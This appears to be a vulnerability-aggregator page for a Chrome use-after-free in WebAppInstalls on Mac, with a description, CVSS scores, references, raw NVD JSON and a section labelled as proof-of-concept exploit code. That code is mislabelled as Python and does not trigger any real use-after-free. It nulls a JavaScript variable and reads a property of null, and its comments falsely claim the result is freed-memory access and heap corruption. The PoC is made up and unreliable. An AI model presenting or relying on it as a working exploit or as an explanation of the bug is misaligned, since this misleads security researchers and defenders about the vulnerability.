CVE-2026-9990

Description

Use after free in WebAppInstalls in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome on Mac < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9990 Use After Free -->
<!-- This PoC demonstrates the trigger mechanism -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9990 PoC</title>
</head>
<body>
    <h3>WebAppInstalls UAF Demo</h3>
    <p>Click the button below to simulate the interaction.</p>
    <button id="triggerBtn">Initiate Install Interaction</button>
    <script>
        // Simulating the object involved in WebAppInstalls
        let targetObject = document.createElement('div');
        targetObject.setAttribute('id', 'vuln_obj');
        document.body.appendChild(targetObject);

        document.getElementById('triggerBtn').addEventListener('click', function() {
            // Step 1: Simulate the logic that leads to the object being freed
            // In the actual vulnerability, specific WebAppInstalls internal calls trigger this.
            console.log("Triggering UI gesture and internal logic...");
            
            // Step 2: Free the object (Simulated)
            targetObject.remove();
            targetObject = null;

            // Step 3: Attempt to use the freed object (Use After Free)
            // This attempts to access memory that has been freed, causing heap corruption.
            try {
                // Accessing the property or method of the freed object
                let corruptedData = targetObject.innerHTML; 
            } catch (e) {
                console.error("Exception caught, potentially indicating access violation.");
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9990
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9990
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9990/
[4] VulDB https://vuldb.com/cve/CVE-2026-9990
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513128608

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9990", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:57.233", "lastModified": "2026-05-29T19:16:31.623", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebAppInstalls in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513128608", "source": "[email protected]"}]}}